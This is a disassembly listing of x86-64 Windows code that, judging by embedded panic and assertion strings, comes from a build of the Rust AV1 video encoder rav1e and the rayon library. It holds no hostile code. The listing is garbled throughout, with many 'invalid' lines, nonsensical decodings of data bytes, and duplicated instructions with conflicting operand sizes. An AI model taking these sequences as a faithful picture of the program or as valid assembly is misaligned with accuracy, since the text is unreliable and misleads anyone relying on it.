xor r8d, r8d
xor eax, eax
cmp rdx, rcx
je 0x1400b40e2
mov r9d, dword [rax + rcx*4]
imul r9d, dword [rbp + rcx*4 + 0x3648]
inc rcx
add r8d, r9d
jmp 0x1400b40c8
add r8d, dword [rbp + 0x35a8]
mov ecx, dword [rbp + 0x35a4]
sar r8d, cl
mov eax, dword [rbp + 0x35ac]
cmp r8d, eax
cmovl eax, r8d
test r8d, r8d
test eax, eax
mov ecx, 0
cmovs eax, ecx
mov byte [rsi + rbx], al
mov r14, qword [rbp + 0x33f0]
mov esi, dword [rbp + 0x33f0]
mov rax, qword [rbp + 0x33f8]
jmp 0x1400b404c
invalid
invalid
invalid
mov rbx, qword [rbp + 0x3330]
dec rbx
mov r12, qword [rbp + 0x3338]
mov esp, dword [rbp + 0x3338]
mov rdi, qword [rbp + 0x3370]
jmp 0x1400b3da0
mov rcx, qword [rbp + 0x35f0]
cmp byte [rcx + 0x26d], 0
add byte [rax], al
add byte [rax - 0x75], cl
xchg ebp, eax
add byte ss:[rax], al
je 0x1400b431f
mov bl, byte [rax + 1]
mov si, word [rax + 2]
mov rax, qword [rbp + 0x35e0]
add byte [rax - 0x77], cl
test eax, ecx
xor eax, dword [rax]
add byte [rcx + rcx*4 - 0x5b], cl
sal byte [rbx], 1
add byte [rax], al
mov rcx, qword [rbp + 0x3670]
mov qword [rbp + 0x33d8], rcx
mov rax, qword [rbp + 0x35d8]
mov qword [rbp + 0x31b8], rax
mov qword [rbp + 0x31c0], r12
mov qword [rbp + 0x31c8], rcx
lea rax, [rbp + 0x31b8]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x33c8]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x3500]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
mov edx, 0x188
lea rcx, [rbp + 0x3610]
mov r8, r14
mov r9, qword [rbp + 0x3388]
call fcn.1400b7121
invalid
invalid
add byte [rax], al
mov rax, qword [rbp + 0x35e0]
mov qword [rbp + 0x33c8], rax
mov qword [rbp + 0x33d0], r12
mov rax, qword [rbp + 0x3670]
add byte ss:[rax], al
mov qword [rbp + 0x33d8], rax
mov r9, qword [rbp + 0x3668]
cmp qword [r9 + 0x20], 0
je case.0x140041c42.379
cmp qword [r9 + 0x28], 0
je case.0x140041c42.379
mov rax, qword [r9 + 0x50]
mov rcx, rax
neg rcx
cmp r12, rcx
jl 0x1400b4eea
mov rcx, qword [r9 + 0x58]
mov rdx, rcx
neg rdx
cmp qword [rbp + 0x3670], rdx
mov r11, qword [rbp + 0x3500]
jl 0x1400b4f02
invalid
scasd eax, dword [rdi]
or al, 0
invalid
mov rdx, qword [r9 + 0x10]
lea r8, [rdi + r12]
add r8, rax
cmp r8, rdx
jg 0x1400b4f1a
mov r10, qword [rbp + 0x3670]
add rcx, r10
lea r8, [rcx + r11]
cmp r8, qword [r9 + 0x18]
jg 0x1400b4f32
mov bl, 0xc
add byte [rax], al
invalid
imul rcx, rdx
add rax, qword [r9]
add rax, r12
loopne 0x1400b42d2
add eax, ecx
enter 0xffffffffffff8948, 0xffffffffffffff85
sal byte [rcx], 0
add byte [rax - 0x75], cl
test dword [rax], ecx
xor eax, 0x89480000
add byte [rax], al
mov qword [rbp + 0x31b8], rax
mov dword [rbp + 0x31b8], eax
mov qword [rbp + 0x31c8], r12
mov dword [rbp + 0x31c8], esp
xor dword [rax], eax
add byte [rcx + rcx*4 - 0x6b], cl
mov qword [rbp + 0x31d0], r10
mov qword [rbp + 0x31d8], rdi
add byte [rcx + rcx*4 - 0x63], cl
popfq
loopne 0x1400b42ec
add byte [rax], al
jmp 0x1400b42e0
lea rax, [rbp + 0x31c0]
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
and qword [rax + 0x20], 0
mov rax, qword [rbp + 0x3508]
or byte [0xc95342db], dh
invalid
invalid
xor dword [rax], eax
invalid
lea rax, [rbp + 0x31b8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x33c8]
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x20], 0x188
mov dword [rsp + 0x20], 0x188
mov ecx, ebx
mov edx, esi
mov r8, qword [rbp + 0x35f0]
lea r9, [rbp + 0x3610]
call fcn.1400b7536
mov rdx, qword [rbp + 0x3640]
mov r8, qword [rbp + 0x3300]
inc r8
dec qword [rbp + 0x34d8]
mov r15, qword [rbp + 0x3678]
mov rdi, qword [rbp + 0x3320]
mov rcx, qword [rbp + 0x3318]
jmp 0x1400b3b5d
mov rdx, qword [rbp + 0x33a0]
lea r12, [rbp - 0x40]
mov rax, qword [rbp + 0x33a8]
jmp 0x1400b3a1f
mov rdx, qword [rbp + 0x33b0]
mov r9, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x33c0]
jmp 0x1400b393a
cmp byte [rax + 0x26d], 0
mov rax, qword [rbp + 0x3698]
je 0x1400b44c9
mov rdx, qword [rax + 0x4b8]
add rdx, 0x10
lea rcx, [rbp + 0x2b00]
call fcn.1400938a3
mov rcx, qword [rbp + 0x3698]
mov rax, qword [rcx + 0x4b8]
cmp dword [rax + 0x48000004], 0x4830788b
mov ebx, dword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400b4f73
invalid
mov qword [rbp + 0x33c8], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
adc eax, 0x192f5a
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3688], dl
mov qword [rbp + 0x3680], rax
add rax, 0x10
mov rdx, qword [rbp + 0x3698]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.140092377
lea rcx, [rbp + 0x3560]
lea ecx, [rbp + 0x3560]
xor eax, 0x8b480000
jno 0x1400b4455
mov rdi, qword [rcx + 0x18]
call fcn.1400b94fb
test rdx, rdx
je 0x1400b4af7
invalid
movups xmm0, xmmword [rbp + 0x3570]
lea r8, [rbp + 0x31b8]
mov qword [r8], rax
xorps xmm1, xmm1
movups xmmword [r8 + 8], xmm1
mov qword [r8 + 0x18], rsi
sbb byte [rcx - 0x77], cl
mov dword [rax + 0x20], edi
movups xmmword [r8 + 0x28], xmm0
lea r9, [rbp + 0x2f70]
lea ecx, [rbp + 0x2f70]
lea rdx, [rbp + 0x2b00]
mov rcx, r15
call fcn.1400b9527
push rax
add byte [rax], al
lea rcx, [rbp + 0x2e50]
lea edx, [rax + 0x2e]
add byte [rax], al
call fcn.1400880b1
adc bh, byte [rdi*8 - 0x7274b701]
xor byte [rsi], 0
add byte [rdx + 0x368895], cl
add al, ch
rcl byte [rdx - 0x72b70002], cl
invalid
enter 0x33, 0
call fcn.14009aea4
lea rcx, [rbp + 0x2b00]
call fcn.1400939ef
mov rdi, qword [rbp + 0x3590]
test rdi, rdi
je 0x1400b4e24
or qword [r8], rax
invalid
mov rsi, qword [rbp + 0x3588]
mov r14, qword [rsi + 0x10]
cmp rdi, 1
jne 0x1400b451a
xor r8d, r8d
jmp 0x1400b4560
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
push 7
pop rcx
mov rdx, rcx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
push 7
pop rdx
call fcn.1401c6eb0
jmp 0x1400b4f73
imul rax, rdi, 0x18
add rax, 0xffffffffffffffe8
xor r8d, r8d
push 0x18
pop rcx
xor edx, edx
div rcx
neg rax
lea rcx, [rsi + 0x28]
push 1
pop rdx
mov r9, r14
mov r10, qword [rcx]
cmp r9, r10
cmp ecx, edx
cmovbe r9, r10
cmovbe r8, rdx
cmovbe r14, r10
lea r10, [rax + rdx]
inc r10
inc rdx
add rcx, 0x18
cmp r10, 1
cmp edx, 1
jne 0x1400b453a
cmp byte [r15 + 0x323], 0
jne 0x1400b45af
mov rax, qword [rbp + 0x3698]
mov qword [rax + 8], r8
mov rcx, qword [rbp + 0x34a8]
test al, 0x34
add byte [rax], al
mov rdx, qword [rbp + 0x34b0]
call fcn.1400b70f3
mov rcx, qword [rbp + 0x3698]
lea rbx, [rcx + 0x4c8]
add byte [rcx - 0x48], al
xor al, 0x2b
add byte [rax], al
mov rcx, rbx
mov rdx, rax
call sub.VCRUNTIME140.dll_memmove
mov rcx, rbx
call fcn.1400743b8
push 0x47
pop rax
test r14, r14
je 0x1400b45c6
bsr rcx, r14
xor rcx, 0x3f
mov qword [rbp + 0x34f0], rcx
sub rax, qword [rbp + 0x34f0]
shr rax, 3
mov rcx, qword [rbp + 0x3698]
mov dword [rcx + 0x2ffc], eax
mov rcx, qword [rbp + 0x35e8]
mov rdx, qword [rcx + 0x190]
mov r8, qword [rcx + 0x198]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
lea rcx, [rbp + 0x2b00]
mov r9, rsi
call fcn.14007863f
lea rcx, [rbp + 0x3580]
xor byte [0x138f34615], 0x45
cmc
dec dword [rax - 0x75]
lea esp, [rax + 0x48000034]
mov edx, dword [rbp + 0x34a8]
call fcn.1400b70ca
mov rcx, qword [rbp + 0x3560]
mov ecx, dword [rbp + 0x3560]
mov rdx, qword [rbp + 0x3568]
call fcn.14009aff7
cmp dword [r15 + 0x2ec], 0
jne 0x1400b465f
lea rcx, [rbp + 0x35f8]
mov rdx, r15
call fcn.1400aef5d
test rax, rax
jne 0x1400b4f4a
imul rdi, qword [r15 + 0xe8], 0x18
mov rbx, qword [r15 + 0xe0]
add rdi, rbx
lea rsi, [rbp + 0x2e50]
lea r14, [rbp + 0x35f8]
cmp rbx, rdi
je 0x1400b46ea
and qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 1
and qword [rbp - 0x30], 0
mov qword [rbp + 0x2e50], r12
and dword [rbp + 0x2e58], 0
pop rax
add byte cs:[rax], al
add dh, al
test dword [rsi + rbp], ebx
add byte [rax], al
mov rcx, rsi
mov rdx, rbx
call fcn.1400b160a
iretd
invalid
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
cmpsb byte [rsi], byte [rdi]
add al, 0
invalid
mov rdx, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
add r8, rdx
mov rcx, r14
call fcn.140004b33
cmc
dec dword [rax - 0x7d]
rol byte gs:[rax], 1
add rbx, 0x18
ret
sbb byte [rax - 0x75], cl
ror byte [r8 - 0x75], 0x55
enter 0xffffffffffffe9e8, 0x2c
clc
invalid
jmp 0x1400b467f
and qword [rbp + 0x2e50], 0
push 1
pop rax
mov qword [rbp + 0x2e58], rax
and qword [rbp + 0x2e60], 0
movsd dword [rdi], dword [rsi]
invalid
add byte cs:[rax], al
add byte [rax - 0x7d], cl
rol byte gs:[rax], 0x48
mov dword [rbp - 0x38], eax
and qword [rbp - 0x30], 0
lea rcx, [rbp + 0x31b8]
mov qword [rcx], r12
and dword [rbx - 0x39fff79f], eax
or byte [rax], al
mov byte [rcx + 0xc], 0
mov rax, qword [rbp + 0x34e8]
mov r9b, byte [rax + 0x20]
mov al, byte [rax + 0x21]
mov byte [rsp + 0x20], al
mov rdx, r15
cli
mov r8, qword [rbp + 0x3698]
test dword [rax - 0x17ffffca], ebx
movsd dword [rdi], dword [rsi]
mov cl, 0xff
dec dword [rax - 0x7b]
ror byte [rdi], 0x85
out 6, eax
add byte [rax], al
lea rcx, [rbp + 0x31b8]
mov qword [rcx], rsi
mov dword [rcx], esi
and dword [rcx + 8], 0
mov byte [rcx + 0xc], 0
mov dl, 6
call fcn.1400b150b
test rax, rax
jne 0x1400b4e66
mov rdx, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e60]
add r8, rdx
lea rcx, [rbp + 0x35f8]
call fcn.140004b33
and qword [rbp + 0x2e60], 0
add byte cs:[rax], al
add byte [rax - 0x73], cl
lea edi, [rax + 0x48000031]
mov dword [rcx], esi
and dword [rcx + 8], 0
mov byte [rcx + 0xc], 0
mov rsi, qword [rbp + 0x2b10]
add byte [rax - 0x75], cl
push rbp
ror byte [rax + 1], 1
bnd call fcn.1400b1562
test rax, rax
jne 0x1400b4e97
mov rdx, qword [rbp + 0x2e58]
mov r8, qword [rbp + 0x2e60]
add r8, rdx
lea rcx, [rbp + 0x35f8]
call fcn.140004b33
cmc
dec dword [rax - 0x7d]
movsd dword [rdi], dword [rsi]
invalid
add byte cs:[rax], al
add byte [rax - 0x75], cl
push rbp
enter 0xffffffffffff8b4c, 0x45
ror byte [rcx + 1], 1
ror byte [rax - 0x73], 1
invalid
clc
xor eax, 0x34e80000
xor al, 3
cmc
dec dword [rax - 0x7d]
rol byte gs:[rax], 1
mov rdi, qword [rbp + 0x2b08]
add rsi, rdi
lea rcx, [rbp + 0x35f8]
mov rdx, rdi
mov r8, rsi
call fcn.140004b33
mov rax, qword [rbp + 0x3608]
mov rcx, qword [rbp + 0x3340]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x35f8]
clc
xor eax, 0x110f0000
add dword [rax - 0x75], ecx
ror byte [r8 - 0x75], 0x55
enter 0xffffffffffff88e8, 0x2b
clc
dec dword [rax - 0x75]
lea edx, [rax + 0x2e]
add byte [rax], al
mov rdx, qword [rbp + 0x2e58]
call fcn.1400373d1
mov rcx, qword [rbp + 0x2b00]
mov rdx, rdi
call fcn.1400373d1
movaps xmm6, xmmword [rbp + 0x36b0]
add rsp, 0x3748
invalid
add byte [rax], al
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
invalid
lea rcx, [rbp + 0x2b00]
push 4
pop r9
mov rdx, qword [rbp + 0x3678]
xchg ebp, eax
js 0x1400b48cc
add byte [rax], al
xchg ebp, eax
js 0x1400b48cc
add byte [rax], al
lea r8, [rbp - 0x30]
call fcn.1400f48d1
jmp 0x1400b4914
lea rcx, [rbp + 0x2b00]
push 6
pop r9
mov rdx, qword [rbp + 0x3678]
xchg ebp, eax
js 0x1400b48e9
add byte [rax], al
xchg ebp, eax
js 0x1400b48e9
add byte [rax], al
lea r8, [rbp - 0x28]
call fcn.1400f48d1
jmp 0x1400b4914
lea rcx, [rbp + 0x2b00]
push 5
pop r9
mov rdx, qword [rbp + 0x3678]
xchg ebp, eax
js 0x1400b4906
add byte [rax], al
mov edx, dword [rbp + 0x3678]
xchg ebp, eax
js 0x1400b4906
add byte [rax], al
lea r8, [rbp - 0xe]
call fcn.1400f48d1
jmp 0x1400b4914
lea rcx, [rbp + 0x2b00]
push 7
pop r9
mov rdx, qword [rbp + 0x3678]
mov edx, dword [rbp + 0x3678]
mov r8, rdi
call fcn.1400f48d1
jmp 0x1400b4914
xchg ebp, eax
js 0x1400b493f
add byte [rax], al
lea r8, [rbp - 4]
call fcn.1400f48d1
mov rdx, qword [rbp + 0x3698]
mov byte [rdx + 0x30e1], 0
mov ecx, dword [rbp + 0x2b10]
lea eax, [rcx - 1]
mov byte [rdx + 0x30e2], al
cmp ecx, 8
push 8
pop rax
cmovb eax, ecx
add eax, eax
xor ecx, ecx
mov r9, qword [rbp + 0x3678]
mov ecx, dword [rbp + 0x3678]
mov r8, qword [rbp + 0x3698]
cmp rax, rcx
je 0x1400b4979
movzx edx, word [rbp + rcx + 0x2b00]
mov byte [r8 + rcx*4 + 0x3000], 1
cmp dx, r13w
cmovle edx, r13d
mov word [r8 + rcx*8 + 0x3040], dx
add rcx, 2
jmp 0x1400b494c
mov rax, qword [r9 + 0x2b8]
mov r8, qword [rax + 0x80]
mov rcx, rsi
mov edx, dword [rbp + 0x3670]
call fcn.14007b355
mov rax, qword [rbp + 0x3698]
and word [rax + 0x30df], 0
xor eax, eax
mov r15, qword [rbp + 0x3678]
cmp rax, 8
je 0x1400b29fe
xor ecx, ecx
cmp rcx, 8
je 0x1400b49eb
cmp byte [rsi + rcx], 0
je 0x1400b49e6
mov rdx, qword [rbp + 0x3698]
mov byte [rdx + 0x30e0], al
cmp rcx, 5
jb 0x1400b49e6
mov rdx, qword [rbp + 0x3698]
mov byte [rdx + 0x30df], 1
inc rcx
jmp 0x1400b49b9
inc rax
add rsi, 8
jmp 0x1400b49ad
lea rcx, [rbp + 0x3610]
call fcn.140088106
lea rcx, [rbp + 0x2e50]
call fcn.1400939ef
jmp 0x1400b44bd
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rdx, rsi
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
push 0x47
pop rcx
mov rdx, rcx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rcx, rbx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 7
pop rdx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
push 8
pop rdx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tile_blocks.rs
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rcx, r9
mov rdx, rsi
call fcn.1401c6f20
jmp 0x1400b4f73
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srclrf.rs
mov rdx, r9
call fcn.1401c7190
jmp 0x1400b4f73
lea r8, [rbp + 0x31b8]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400b4f73
mov rax, qword [rbp + 0x3518]
mov qword [rbp + 0x3680], rax
mov rdx, qword [rbp + 0x3520]
jmp 0x1400b4bbe
mov rcx, qword [rbp + 0x3680]
call fcn.1401c66e0
jmp 0x1400b4f73
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c7290
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_vec.capacity_____start___lenC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_1.10.0_src_vec.rs
lea r8, [0x140264200]
push 0x2f
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rax, [rbp + 0x32d8]
mov qword [rbp + 0x31b8], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0x31c0], rax
mov qword [rbp + 0x31c8], r14
lea rdx, str.expected__total_writes__but_got
lea rcx, [rbp + 0x2e50]
mov qword [rcx], rdx
push 2
pop rdx
mov qword [rcx + 8], rdx
and qword [rcx + 0x20], 0
mov qword [rbp + 0x31d0], rax
mov qword [rcx + 0x10], rdi
mov qword [rcx + 0x18], rdx
mov byte [rbp + 0x36a6], 0
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_1.10.0_srcitercollectmod.rsX
call fcn.1401c6e60
jmp 0x1400b4f73
mov qword [rbp + 0x3698], rax
lea rax, [rbp + 0x32e0]
mov qword [rbp + 0x2b00], rax
lea rax, [fcn.140024bb0]
mov qword [rbp + 0x2b08], rax
lea rdx, str.expected__total_writes__but_got
lea rcx, [rbp + 0x2e50]
mov qword [rcx], rdx
push 2
pop rdx
mov qword [rcx + 8], rdx
and qword [rcx + 0x20], 0
mov qword [rbp + 0x2b10], r14
mov qword [rbp + 0x2b18], rax
lea rax, [rbp + 0x2b00]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], rdx
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_1.10.0_srcitercollectmod.rsX
call fcn.1401c6e60
jmp 0x1400b4f73
push 8
pop rcx
mov rdx, rdi
call fcn.1401c66e0
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c33]
lea r8, [0x140241be8]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c8f]
lea r8, [0x140241be8]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c33]
lea r8, [0x140241be8]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c8f]
lea r8, [0x140241be8]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241be8]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c33]
lea r8, [0x140241be8]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c8f]
lea r8, [0x140241be8]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
call fcn.1401c7290
jmp 0x1400b4f73
lea r8, [rbp + 0x33c8]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400b4f73
lea r8, [rbp + 0x33c8]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400b4f73
lea r8, [rbp + 0x33c8]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.x_____cfg.xorigin_as_isize_C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tilingplane_region.rs
lea r8, [0x140241d80]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, str.assertion_failed:_rect.y_____cfg.yorigin_as_isize_assertion_failed:_cfg.xorigin_as_isize__rect.x__rect.width_as_isize___cfg.stride_as_isizeassertion_failed:_cfg.yorigin_as_isize__rect.y__rect.height_as_isize___n____cfg.alloc_height_as_isizeassertion_failed:_rect.x___0__rect.x_as_usize___self.rect.widthassertion_failed:_rect.y___0__rect.y_as_usize___self.rect.height
lea r8, [0x140241d80]
push 0x33
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c33]
lea r8, [0x140241d80]
push 0x5c
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea rcx, [0x140241c8f]
lea r8, [0x140241d80]
push 0x67
pop rdx
call fcn.1401c6f30
jmp 0x1400b4f73
lea r8, [rbp - 0x40]
mov qword [r8], rax
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.14001ca7a
push 0x2b
pop rdx
call fcn.1401c7200
ud2
cmp rdi, qword [rsp + 0xf8]
je 0x1400bc938
invalid
invalid
invalid
add byte [rax], al
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], rbx
mov r8d, 0x208
or byte [rdx], al
add byte [rax], al
lea rcx, [rsp + 0x138]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov r8d, 0x208
lea rcx, [rsp + 0x340]
and al, 0x40
add eax, dword [rax]
add byte [rcx], dh
shr al, cl
cmpsd dword [rsi], dword [rdi]
movabs eax, dword [0x8b4930d76b480010]
mov rax, qword [r15 + rdx]
mov rcx, qword [rax + 0x20]
mov r10, qword [rax + 0x28]
mov rax, r10
or rax, rcx
cmp rax, 2
jae 0x1400bca00
lea r9, [r15 + rdx]
add rdx, r14
mov qword [rsp + 0xb8], rdx
mov rax, qword [rsp + 0xd8]
add byte [rax], al
add byte [rcx + 0x2b], cl
adc byte [r8 - 0x3f], cl
call 0xd4970c32
and al, 0xd0
add byte [rax], al
add byte [rax + 0x39], cl
ret 0xf48
ret 0x1ba
add byte [rax], al
add byte [rax - 0x2d], cl
loop 0x1400bc48e
mov eax, edx
shr r8, 1
add r8, rax
shr r8, cl
mov qword [rsp + 0xb0], rcx
add byte [rax], al
add byte [rcx - 0x2d], cl
loopne 0x1400bc4a4
mov dword [rsp + 0x88], edi
lea rax, [rdi + 1]
mov qword [rsp + 0xc0], rax
mov rbp, qword [rsp + 0xe0]
mov edi, 1
mov qword [rsp + 0x80], r10
mov ecx, r10d
shl rdi, cl
mov qword [rsp + 0xa8], r9
sub rbp, qword [r9 + 0x18]
mov rsi, rdi
shr rsi, 1
mov rcx, r12
mov qword [rsp + 0x118], r8
mov qword [rsp + 0x120], rdx
mov r9, rdx
call fcn.140033724
mov r12, qword [rsp + 0x60]
mov r14, qword [rsp + 0x68]
mov r15, qword [rsp + 0x70]
inc r15
inc edi
sub r14, 1
jb 0x1400bc53d
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0xb0]
add byte [rax - 0x77], cl
and al, 0x40
mov rax, qword [rsp + 0xa0]
